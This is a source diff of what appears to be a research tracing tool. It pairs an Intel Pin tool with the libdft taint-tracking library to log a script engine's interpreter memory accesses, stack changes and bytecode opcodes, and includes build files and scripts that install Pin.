return taint_var_log
|
||||
|
||||
def save_proc_log_to_json(proc_log, proc_log_json_file):
|
||||
with open(proc_log_json_file, 'w') as f:
|
||||
f.write(json.dumps(proc_log))
|
||||
|
||||
def load_proc_log_from_json(proc_log_json_file):
|
||||
with open(proc_log_json_file, 'r') as f:
|
||||
return json.loads(f.read())
|
||||
@@ -0,0 +1,15 @@
|
||||
class Node(object):
|
||||
def __init__(self):
|
||||
self.id = 0
|
||||
self.parent = -1
|
||||
self.childs = []
|
||||
self.addr = 0
|
||||
self.struct = None
|
||||
self.offset = 0
|
||||
self.bytes = None
|
||||
self.size = 0
|
||||
|
||||
def __str__(self):
|
||||
result = str(self.id)
|
||||
|
||||
return result
|
||||
@@ -0,0 +1,26 @@
|
||||
# Dependencies:
|
||||
# sudo apt-get install gcc-multilib g++-multilib
|
||||
|
||||
CC=clang
|
||||
CXX=clang++
|
||||
|
||||
LIBDFT_SRC = src
|
||||
LIBDFT_TOOL = tools
|
||||
# LIBDFT_TAG_FLAGS ?= -DLIBDFT_TAG_TYPE=libdft_tag_uint8
|
||||
|
||||
|
||||
.PHONY: all
|
||||
all: dftsrc tool #test
|
||||
|
||||
.PHONY: dftsrc mytool
|
||||
dftsrc: $(LIBDFT_SRC)
|
||||
cd $< && CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
|
||||
|
||||
tool: $(LIBDFT_TOOL)
|
||||
# cd $< && TARGET=ia32 CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
|
||||
cd $< && TARGET=intel64 CPPFLAGS=$(CPPFLAGS) DFTFLAGS=$(LIBDFT_TAG_FLAGS) make
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
cd $(LIBDFT_SRC) && make clean
|
||||
cd $(LIBDFT_TOOL) && make clean
|
||||
@@ -0,0 +1,11 @@
|
||||
$ZIP_NAME="pin-3.20-98437-gf02b61307-msvc-windows"
|
||||
$PREFIX = ${HOME}
|
||||
Set-Location -Path ${HOME}
|
||||
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
Invoke-WebRequest -Uri https://software.intel.com/sites/landingpage/pintool/downloads/${ZIP_NAME}.zip -OutFile ${PREFIX}\${ZIP_NAME}.zip
|
||||
Expand-Archive -Force -Path ${PREFIX}\${ZIP_NAME}.zip -DestinationPath ${PREFIX}
|
||||
Remove-Item ${PREFIX}\${ZIP_NAME}.zip
|
||||
|
||||
echo "Please set:"
|
||||
echo "set PIN_ROOT=${PREFIX}\${ZIP_NAME}"
|
||||
@@ -0,0 +1,13 @@
|
||||
#!/bin/bash
|
||||
set -eux
|
||||
PREFIX=${PREFIX:-${HOME}}
|
||||
|
||||
TAR_NAME="pin-3.20-98437-gf02b61307-gcc-linux"
|
||||
|
||||
wget https://software.intel.com/sites/landingpage/pintool/downloads/${TAR_NAME}.tar.gz
|
||||
tar -C ${PREFIX} -xzf ${TAR_NAME}.tar.gz
|
||||
rm ${TAR_NAME}.tar.gz
|
||||
|
||||
set +x
|
||||
echo "Please set:"
|
||||
echo "export PIN_ROOT=${PREFIX}/${TAR_NAME}"
|
||||
@@ -0,0 +1,22 @@
|
||||
#
|
||||
# NSL DFT lib (libdft)
|
||||
#
|
||||
# Columbia University, Department of Computer Science
|
||||
# Network Security Lab
|
||||
#
|
||||
# Vasileios P. Kemerlis (vpk@cs.columbia.edu)
|
||||
#
|
||||
# variable definitions
|
||||
|
||||
TARGET ?= intel64
|
||||
|
||||
# If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root.
|
||||
ifdef PIN_ROOT
|
||||
CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config
|
||||
else
|
||||
CONFIG_ROOT := ../Config
|
||||
endif
|
||||
|
||||
include $(CONFIG_ROOT)/makefile.config
|
||||
include makefile.rules
|
||||
include $(TOOLS_ROOT)/Config/makefile.default.rules
|
||||
@@ -0,0 +1,234 @@
|
||||
#include "Tracer-BJJ.h"
|
||||
|
||||
#define DEBUG_INFO 1
|
||||
|
||||
std::ostream *out = &cout;
|
||||
|
||||
PIN_LOCK lock;
|
||||
ADDRINT target_image_base = 0x0;
|
||||
ADDRINT target_image_end = 0x0;
|
||||
ADDRINT memwrite_addr = 0x0;
|
||||
|
||||
KNOB<std::string> KnobConfigFile(KNOB_MODE_WRITEONCE, "pintool", "c", "", "specify a config file name.");
|
||||
KNOB<std::string> KnobOutputFile(KNOB_MODE_WRITEONCE, "pintool", "o", "", "specify file name for the trace output.");
|
||||
|
||||
|
||||
INT32 Usage() {
|
||||
std::cerr << "This tool traces memory accesses and taint propagation for Bytecode Jiu-Jitsu." << endl;
|
||||
std::cerr << KNOB_BASE::StringKnobSummary() << endl;
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
VOID Image(IMG img, VOID *v) {
|
||||
Config *config = (Config *)v;
|
||||
|
||||
string image_name = IMG_Name(img);
|
||||
ADDRINT image_base = IMG_LowAddress(img);
|
||||
int image_id = IMG_Id(img);
|
||||
size_t image_size = IMG_HighAddress(img) - image_base;
|
||||
|
||||
*out << "trace: load, image name: "
|
||||
<< image_name
|
||||
<< ", ID: "
|
||||
<< std::dec
|
||||
<< image_id
|
||||
<< ", image base: "
|
||||
<< (void *)image_base
|
||||
<< ", image size: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(8)
|
||||
<< image_size
|
||||
<< endl;
|
||||
|
||||
if (image_name == config->target_module_name) {
|
||||
target_image_base = image_base;
|
||||
target_image_end = image_base + image_size;
|
||||
|
||||
RTN rtn_interp_func = RTN_CreateAt(image_base + config->interp_func_offset, "interp_func");
|
||||
if (RTN_Valid(rtn_interp_func)) {
|
||||
RTN_Open(rtn_interp_func);
|
||||
RTN_InsertCall(rtn_interp_func, IPOINT_BEFORE, (AFUNPTR)hdlr_interp_func_before,
|
||||
IARG_THREAD_ID,
|
||||
IARG_UINT32, REG_RDI,
|
||||
IARG_UINT32, REG_RSI,
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 0,
|
||||
IARG_FUNCARG_ENTRYPOINT_VALUE, 1,
|
||||
IARG_END);
|
||||
RTN_InsertCall(rtn_interp_func, IPOINT_AFTER, (AFUNPTR)hdlr_interp_func_after,
|
||||
IARG_THREAD_ID,
|
||||
IARG_END);
|
||||
RTN_Close(rtn_interp_func);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
VOID Ins(INS ins, void * v) {
|
||||
Config *config = (Config *)v;
|
||||
uint32_t memaccess_type;
|
||||
|
||||
if (INS_IsValidForIpointAfter(ins) && INS_IsMemoryRead(ins)) {
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_mov_stack_read_before,
|
||||
IARG_INST_PTR,
|
||||
IARG_MEMORYREAD_EA,
|
||||
IARG_ADDRINT, (ADDRINT)config,
|
||||
IARG_END);
|
||||
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_mov_stack_read_after,
|
||||
IARG_INST_PTR,
|
||||
IARG_REG_VALUE, REG_EAX,
|
||||
IARG_ADDRINT, (ADDRINT)config,
|
||||
IARG_END);
|
||||
}
|
||||
|
||||
if (INS_RegWContain(ins, REG_STACK_PTR)) {
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_stack_ptr_write_before,
|
||||
IARG_REG_VALUE, REG_INST_PTR,
|
||||
IARG_REG_VALUE, REG_STACK_PTR,
|
||||
IARG_END);
|
||||
if (INS_IsValidForIpointAfter(ins)) {
|
||||
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_stack_ptr_write_after,
|
||||
IARG_REG_VALUE, REG_INST_PTR,
|
||||
IARG_REG_VALUE, REG_STACK_PTR,
|
||||
IARG_END);
|
||||
}
|
||||
}
|
||||
|
||||
if (INS_IsMemoryRead(ins)) {
|
||||
for (UINT32 i = 0; i < INS_MemoryOperandCount(ins); i++) {
|
||||
if (INS_MemoryOperandIsRead(ins, i)) {
|
||||
memaccess_type = 0;
|
||||
if (INS_MemoryBaseReg(ins) != REG_INVALID()) {
|
||||
memaccess_type = memaccess_type | MEMACCESS_BASE_REG_USED;
|
||||
if (INS_MemoryIndexReg(ins) != REG_INVALID()) {
|
||||
memaccess_type = memaccess_type | MEMACCESS_INDEX_REG_USED;
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_MEMORYREAD_EA,
|
||||
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
|
||||
IARG_REG_VALUE, INS_MemoryIndexReg(ins),
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
} else {
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_MEMORYREAD_EA,
|
||||
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
}
|
||||
} else {
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memread,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_MEMORYREAD_EA,
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (INS_IsMemoryWrite(ins) && INS_IsValidForIpointAfter(ins)) {
|
||||
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)hdlr_memwrite_before,
|
||||
IARG_MEMORYWRITE_EA,
|
||||
IARG_END);
|
||||
|
||||
for (UINT32 i = 0; i < INS_MemoryOperandCount(ins); i++) {
|
||||
if (INS_MemoryOperandIsWritten(ins, i)) {
|
||||
memaccess_type = 0;
|
||||
if (INS_MemoryBaseReg(ins) != REG_INVALID()) {
|
||||
memaccess_type = memaccess_type | MEMACCESS_BASE_REG_USED;
|
||||
if (INS_MemoryIndexReg(ins) != REG_INVALID()) {
|
||||
memaccess_type = memaccess_type | MEMACCESS_INDEX_REG_USED;
|
||||
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_ADDRINT, 0,
|
||||
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
|
||||
IARG_REG_VALUE, INS_MemoryIndexReg(ins),
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
} else {
|
||||
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_ADDRINT, 0,
|
||||
IARG_REG_VALUE, INS_MemoryBaseReg(ins),
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
}
|
||||
} else {
|
||||
INS_InsertCall(ins, IPOINT_AFTER, (AFUNPTR)hdlr_memwrite_after,
|
||||
IARG_UINT32, memaccess_type,
|
||||
IARG_INST_PTR,
|
||||
IARG_ADDRINT, 0,
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, 0,
|
||||
IARG_UINT32, INS_MemoryDisplacement(ins),
|
||||
IARG_UINT32, INS_MemoryOperandSize(ins, i),
|
||||
IARG_END);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
PIN_InitSymbols();
|
||||
PIN_InitLock(&lock);
|
||||
|
||||
if (unlikely(PIN_Init(argc, argv))) {
|
||||
std::cerr
|
||||
<< "Sth error in PIN_Init. Plz use the right command line options."
|
||||
<< std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (unlikely(libdft_init() != 0)) {
|
||||
std::cerr << "Sth error libdft_init." << std::endl;
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::string config_file_name = KnobConfigFile.Value();
|
||||
if (config_file_name.empty()) {
|
||||
std::cout << "[-] Error: No config file specified." << std::endl;
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
std::cout << "[+] Config file: " << config_file_name << endl;
|
||||
|
||||
std::string config_string = read_file(config_file_name);
|
||||
print_config_string(config_string);
|
||||
|
||||
Config *config;
|
||||
config = parse_config(config_string);
|
||||
if (!is_config_valid(*config)) {
|
||||
std::cout << "Error: Invalid config." << std::endl;
|
||||
exit(-1);
|
||||
}
|
||||
print_config(*config);
|
||||
|
||||
std::string output_file_name = KnobOutputFile.Value();
|
||||
if (!output_file_name.empty()) {
|
||||
std::cout << "[+] Output file: " << output_file_name << endl;
|
||||
out = new std::ofstream(output_file_name.c_str());
|
||||
}
|
||||
|
||||
IMG_AddInstrumentFunction(Image, config);
|
||||
INS_AddInstrumentFunction(Ins, config);
|
||||
|
||||
PIN_StartProgram();
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#ifndef _TRACER_BJJ_TRACER_BJJ_H_
|
||||
#define _TRACER_BJJ_TRACER_BJJ_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "config.h"
|
||||
#include "defs.h"
|
||||
#include "handler.h"
|
||||
#include "ins_helper.h"
|
||||
#include "print.h"
|
||||
#include "rtag_helper.h"
|
||||
#include "tagmap_helper.h"
|
||||
#include "util.h"
|
||||
|
||||
VOID Image(IMG img, VOID *v);
|
||||
VOID Ins(INS ins, void * v);
|
||||
|
||||
#endif // _TRACER_BJJ_TRACER_BJJ_H_
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef _TRACER_BJJ_COMMON_H_
|
||||
#define _TRACER_BJJ_COMMON_H_
|
||||
|
||||
#include "pin.H"
|
||||
#include <fstream>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
|
||||
#define REGISTER_WIDTH 8
|
||||
|
||||
using std::cout;
|
||||
using std::endl;
|
||||
using std::string;
|
||||
|
||||
#endif // _TRACER_BJJ_COMMON_H_
|
||||
@@ -0,0 +1,49 @@
|
||||
#include "config.h"
|
||||
#include <string>
|
||||
|
||||
|
||||
std::pair<std::string, std::string> get_config_item(std::string config_line) {
|
||||
std::stringstream ss(config_line);
|
||||
std::string elem;
|
||||
std::string val;
|
||||
std::pair <std::string, std::string> config_item;
|
||||
|
||||
getline(ss, elem, '=');
|
||||
getline(ss, val, '=');
|
||||
|
||||
config_item = std::make_pair(elem, val);
|
||||
|
||||
return config_item;
|
||||
}
|
||||
|
||||
Config *parse_config(std::string config_string) {
|
||||
Config *config;
|
||||
std::stringstream ss(config_string);
|
||||
std::string config_line;
|
||||
std::pair <std::string, std::string> config_item;
|
||||
|
||||
config = new Config;
|
||||
|
||||
while(getline(ss, config_line)) {
|
||||
config_item = get_config_item(config_line);
|
||||
if (config_item.first == "target_module_name") {
|
||||
config->target_module_name = config_item.second;
|
||||
}
|
||||
else if (config_item.first == "interp_func_offset") {
|
||||
config->interp_func_offset = strtol(config_item.second.c_str(), nullptr, 16);
|
||||
}
|
||||
else if (config_item.first == "decoder_offset") {
|
||||
config->decoder_offset = strtol(config_item.second.c_str(), nullptr, 16);
|
||||
}
|
||||
}
|
||||
|
||||
return config;
|
||||
}
|
||||
|
||||
BOOL is_config_valid(Config config) {
|
||||
if (config.target_module_name.size() == 0
|
||||
|| config.interp_func_offset == 0
|
||||
|| config.decoder_offset == 0)
|
||||
return false;
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
#ifndef _TRACER_BJJ_CONFIG_H_
|
||||
#define _TRACER_BJJ_CONFIG_H_
|
||||
|
||||
#include "common.h"
|
||||
|
||||
|
||||
typedef struct _Config {
|
||||
std::string target_module_name;
|
||||
off_t interp_func_offset;
|
||||
off_t decoder_offset;
|
||||
} Config;
|
||||
|
||||
std::pair<std::string, std::string> get_config_item(std::string config_line);
|
||||
Config *parse_config(std::string config_string);
|
||||
BOOL is_config_valid(Config config);
|
||||
|
||||
#endif // _TRACER_BJJ_CONFIG_H_
|
||||
@@ -0,0 +1,9 @@
|
||||
#ifndef _TRACER_BJJ_DEFS_H_
|
||||
#define _TRACER_BJJ_DEFS_H_
|
||||
|
||||
const int MEMACCESS_READ = 0;
|
||||
const int MEMACCESS_WRITE = 1;
|
||||
const uint32_t MEMACCESS_BASE_REG_USED = 0x1;
|
||||
const uint32_t MEMACCESS_INDEX_REG_USED = 0x2;
|
||||
|
||||
#endif // _TRACER_BJJ_DEFS_H_
|
||||
@@ -0,0 +1,138 @@
|
||||
#include "handler.h"
|
||||
|
||||
|
||||
extern std::ostream *out;
|
||||
|
||||
// extern const ptrdiff_t offset_vpc_read;
|
||||
// const ptrdiff_t offset_vpc_read = 0x305444;
|
||||
extern PIN_LOCK lock;
|
||||
extern ADDRINT target_image_base;
|
||||
extern ADDRINT memwrite_addr;
|
||||
UINT64 vm_insn_id = 0;
|
||||
BOOL script_engine_vm_insns_are_skipped = false;
|
||||
BOOL exec_context_is_user_script = false;
|
||||
ADDRINT vpc;
|
||||
ADDRINT obj1;
|
||||
ADDRINT obj2;
|
||||
ADDRINT ptr_obj1;
|
||||
ADDRINT ptr_obj2;
|
||||
ADDRINT current_stack_ptr = 0x0;
|
||||
|
||||
|
||||
VOID hdlr_stack_ptr_write_before(ADDRINT insn_ptr, ADDRINT stack_ptr)
|
||||
{
|
||||
log_stack(insn_ptr, stack_ptr);
|
||||
}
|
||||
|
||||
VOID hdlr_stack_ptr_write_after(ADDRINT insn_ptr, ADDRINT stack_ptr)
|
||||
{
|
||||
log_stack(insn_ptr, stack_ptr);
|
||||
}
|
||||
|
||||
// VOID hdlr_memread(ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT size)
|
||||
VOID hdlr_memread(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
|
||||
{
|
||||
if (!exec_context_is_user_script) return;
|
||||
// log_memaccess(MEMACCESS_READ, insn_ptr, target_addr, base_addr, size);
|
||||
log_memaccess(MEMACCESS_READ, memaccess_type, insn_ptr, target_addr, base_addr, index, disp, size);
|
||||
}
|
||||
|
||||
VOID hdlr_memwrite_before(ADDRINT target_addr)
|
||||
{
|
||||
if (!exec_context_is_user_script) return;
|
||||
memwrite_addr = target_addr;
|
||||
}
|
||||
|
||||
// VOID hdlr_memwrite_after(ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT size)
|
||||
VOID hdlr_memwrite_after(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
|
||||
{
|
||||
if (!exec_context_is_user_script) return;
|
||||
// log_memaccess(MEMACCESS_WRITE, insn_ptr, target_addr, base_addr, size);
|
||||
log_memaccess(MEMACCESS_WRITE, memaccess_type, insn_ptr, target_addr, base_addr, index, disp, size);
|
||||
}
|
||||
|
||||
VOID hdlr_interp_func_before(THREADID tid, REG rdi, REG rsi, ADDRINT arg1, ADDRINT arg2) {
|
||||
ptr_obj1 = arg1;
|
||||
ptr_obj2 = arg2;
|
||||
tag_t t1, t2;
|
||||
|
||||
if (script_engine_vm_insns_are_skipped)
|
||||
exec_context_is_user_script = true;
|
||||
|
||||
if (!exec_context_is_user_script) return;
|
||||
|
||||
*out << "trace: stack, stack ptr: 0x"
|
||||
<< std::setw(REGISTER_WIDTH) << std::setfill('0') << std::hex
|
||||
<< current_stack_ptr
|
||||
<< endl;
|
||||
|
||||
*out << "trace: reg, reg: "
|
||||
<< REG_StringShort(rdi)
|
||||
<< ", val: "
|
||||
<< (void *)arg1
|
||||
<< endl;
|
||||
|
||||
*out << "trace: reg, reg: "
|
||||
<< REG_StringShort(rsi)
|
||||
<< ", val: "
|
||||
<< (void *)arg2
|
||||
<< endl;
|
||||
|
||||
t1 = tag_alloc<tag_t>(1);
|
||||
t2 = tag_alloc<tag_t>(2);
|
||||
for (int i = 0; i < 8; i++) {
|
||||
tagmap_setb_reg(tid, REG_INDX(rdi), i, t1);
|
||||
tagmap_setb_reg(tid, REG_INDX(rsi), i, t2);
|
||||
}
|
||||
|
||||
PIN_GetLock(&lock, 1);
|
||||
*out << "[Info] " << __FUNCTION__ << " start" << endl;
|
||||
print_rtag_gr64(out, tid, rdi, "[getb_reg] ");
|
||||
print_rtag_gr64(out, tid, rsi, "[getb_reg] ");
|
||||
*out << "[Info] " << __FUNCTION__ << " end" << endl;
|
||||
PIN_ReleaseLock(&lock);
|
||||
}
|
||||
|
||||
VOID hdlr_interp_func_after(THREADID tid) {
|
||||
if (!exec_context_is_user_script) return;
|
||||
|
||||
PIN_GetLock(&lock, 1);
|
||||
*out << "[Info] " << __FUNCTION__ << " start" << endl;
|
||||
tagmap_explore(out);
|
||||
rtag_explore(out, tid);
|
||||
|
||||
// print_tag_qword(obj1, "Obj1.val");
|
||||
// print_tag_qword(obj2, "Obj2.val");
|
||||
// print_tag_qword(obj2 + 8, "Obj2.p_obj1");
|
||||
|
||||
*out << "[Info] " << __FUNCTION__ << " end" << endl;
|
||||
PIN_ReleaseLock(&lock);
|
||||
}
|
||||
|
||||
VOID hdlr_mov_stack_read_before(ADDRINT ip, ADDRINT target_addr, Config *config) {
|
||||
// if (ip == target_image_base + offset_vpc_read)
|
||||
if (ip == target_image_base + config->decoder_offset)
|
||||
vpc = target_addr;
|
||||
}
|
||||
|
||||
VOID hdlr_mov_stack_read_after(ADDRINT ip, UINT32 vmop, Config *config) {
|
||||
// if (ip == target_image_base + offset_vpc_read) {
|
||||
if (ip == target_image_base + config->decoder_offset) {
|
||||
if (exec_context_is_user_script) {
|
||||
PIN_GetLock(&lock, 1);
|
||||
*out << "trace: vm, id: "
|
||||
<< std::dec
|
||||
<< vm_insn_id
|
||||
<< ", vpc: "
|
||||
<< (void *)vpc
|
||||
<< ", vmop: 0x"
|
||||
<< std::hex << std::setfill('0') << std::setw(2)
|
||||
<< vmop
|
||||
<< endl;
|
||||
PIN_ReleaseLock(&lock);
|
||||
}
|
||||
|
||||
vm_insn_id++;
|
||||
if (vm_insn_id == 59423) script_engine_vm_insns_are_skipped = true;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
#ifndef _TRACER_BJJ_HANDLER_H_
|
||||
#define _TRACER_BJJ_HANDLER_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "config.h"
|
||||
#include "defs.h"
|
||||
#include "log.h"
|
||||
#include "rtag_helper.h"
|
||||
#include "tagmap_helper.h"
|
||||
|
||||
VOID hdlr_stack_ptr_write_before(ADDRINT insn_ptr, ADDRINT stack_ptr);
|
||||
VOID hdlr_stack_ptr_write_after(ADDRINT insn_ptr, ADDRINT stack_ptr);
|
||||
VOID hdlr_memread(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
|
||||
VOID hdlr_memwrite_before(ADDRINT target_addr);
|
||||
VOID hdlr_memwrite_after(uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
|
||||
VOID hdlr_interp_func_before(THREADID tid, REG rdi, REG rsi, ADDRINT arg1, ADDRINT arg2);
|
||||
VOID hdlr_interp_func_after(THREADID tid);
|
||||
VOID hdlr_mov_stack_read_before(ADDRINT ip, ADDRINT target_addr, Config *config);
|
||||
VOID hdlr_mov_stack_read_after(ADDRINT ip, UINT32 vmop, Config *config);
|
||||
|
||||
#endif // _TRACER_BJJ_HANDLER_H_
|
||||
@@ -0,0 +1,118 @@
|
||||
#include "log.h"
|
||||
|
||||
|
||||
extern std::ostream *out;
|
||||
extern BOOL exec_context_is_user_script;
|
||||
extern ADDRINT current_stack_ptr;
|
||||
extern ADDRINT memwrite_addr;
|
||||
extern ADDRINT target_image_base;
|
||||
extern ADDRINT target_image_end;
|
||||
|
||||
|
||||
VOID log_stack(ADDRINT insn_ptr, ADDRINT stack_ptr)
|
||||
{
|
||||
if (!exec_context_is_user_script)
|
||||
return;
|
||||
if (insn_ptr < target_image_base || insn_ptr > target_image_end)
|
||||
return;
|
||||
|
||||
PIN_LockClient();
|
||||
|
||||
current_stack_ptr = stack_ptr;
|
||||
|
||||
PIN_UnlockClient();
|
||||
}
|
||||
|
||||
VOID log_memaccess(ADDRINT rw_type, uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size)
|
||||
{
|
||||
PIN_LockClient();
|
||||
|
||||
if (insn_ptr < target_image_base || insn_ptr > target_image_end) {
|
||||
PIN_UnlockClient();
|
||||
return;
|
||||
}
|
||||
|
||||
string rw;
|
||||
if (rw_type == MEMACCESS_READ) {
|
||||
rw = "read";
|
||||
} else if (rw_type == MEMACCESS_WRITE) {
|
||||
rw = "write";
|
||||
target_addr = memwrite_addr;
|
||||
}
|
||||
|
||||
uint8_t *buf;
|
||||
buf = new uint8_t[size];
|
||||
memset(buf, 0x0, size);
|
||||
PIN_SafeCopy(buf, (const VOID *)target_addr, size);
|
||||
|
||||
*out << "trace: memaccess, type: "
|
||||
<< rw
|
||||
<< ", ip: "
|
||||
<< (void *)insn_ptr
|
||||
<< ", target: "
|
||||
<< (void *)target_addr;
|
||||
if (memaccess_type & MEMACCESS_BASE_REG_USED) {
|
||||
* out << ", base: "
|
||||
<< (void *)base_addr;
|
||||
}
|
||||
if (memaccess_type & MEMACCESS_INDEX_REG_USED) {
|
||||
*out << ", index: "
|
||||
<< std::dec
|
||||
<< index;
|
||||
}
|
||||
if (disp != 0) {
|
||||
*out << ", disp: 0x"
|
||||
<< std::hex
|
||||
<< disp;
|
||||
}
|
||||
*out << ", size: "
|
||||
<< std::dec
|
||||
<< size
|
||||
<< ", value: ";
|
||||
switch (size) {
|
||||
case 1:
|
||||
*out << "0x"
|
||||
<< std::setw(2) << std::setfill('0') << std::hex
|
||||
<< int(*buf);
|
||||
break;
|
||||
case 2:
|
||||
*out << "0x"
|
||||
<< std::setw(4) << std::setfill('0') << std::hex
|
||||
<< *(uint16_t *)buf;
|
||||
break;
|
||||
case 4:
|
||||
*out << "0x"
|
||||
<< std::setw(8) << std::setfill('0') << std::hex
|
||||
<< *(uint32_t *)buf;
|
||||
break;
|
||||
case 8:
|
||||
*out << "0x"
|
||||
<< std::setw(16) << std::setfill('0') << std::hex
|
||||
<< *(uint64_t *)buf;
|
||||
break;
|
||||
case 16:
|
||||
*out << "0x"
|
||||
<< std::setw(32) << std::setfill('0') << std::hex
|
||||
<< *(uint64_t *)buf
|
||||
<< *(uint64_t *)(buf + 8);
|
||||
break;
|
||||
case 32:
|
||||
*out << "0x"
|
||||
<< std::setw(32) << std::setfill('0') << std::hex
|
||||
<< *(uint64_t *)buf
|
||||
<< *(uint64_t *)(buf + 8)
|
||||
<< *(uint64_t *)(buf + 16)
|
||||
<< *(uint64_t *)(buf + 24)
|
||||
<< *(uint64_t *)(buf + 32);
|
||||
break;
|
||||
default:
|
||||
*out << (char *)buf;
|
||||
break;
|
||||
}
|
||||
*out << endl;
|
||||
|
||||
delete[] buf;
|
||||
memwrite_addr = 0x0;
|
||||
|
||||
PIN_UnlockClient();
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#ifndef _TRACER_BJJ_LOG_H_
|
||||
#define _TRACER_BJJ_LOG_H_
|
||||
|
||||
#include "common.h"
|
||||
#include "defs.h"
|
||||
|
||||
VOID log_stack(ADDRINT insn_ptr, ADDRINT stack_ptr);
|
||||
VOID log_memaccess(ADDRINT rw_type, uint32_t memaccess_type, ADDRINT insn_ptr, ADDRINT target_addr, ADDRINT base_addr, ADDRINT index, ADDRINT disp, ADDRINT size);
|
||||
|
||||
#endif // _TRACER_BJJ_LOG_H_
|
||||
@@ -0,0 +1,143 @@
|
||||
##############################################################
|
||||
#
|
||||
# This file includes all the test targets as well as all the
|
||||
# non-default build rules and test recipes.
|
||||
#
|
||||
##############################################################
|
||||
|
||||
###### Additional includes that are specific to this directory ######
|
||||
|
||||
# Placeholder for additional include files.
|
||||
|
||||
|
||||
##############################################################
|
||||
#
|
||||
# Test targets
|
||||
#
|
||||
##############################################################
|
||||
|
||||
###### Place all generic definitions here ######
|
||||
|
||||
# This defines tests which run tools of the same name. This is simply for convenience to avoid
|
||||
# defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS).
|
||||
# Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS.
|
||||
TEST_TOOL_ROOTS :=
|
||||
|
||||
# This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS.
|
||||
TEST_ROOTS := # test_mini
|
||||
|
||||
# This defines the tools which will be run during the the tests, and were not already defined in
|
||||
# TEST_TOOL_ROOTS.
|
||||
# TOOL_ROOTS := SymTableDetector
|
||||
TOOL_ROOTS := Tracer
|
||||
|
||||
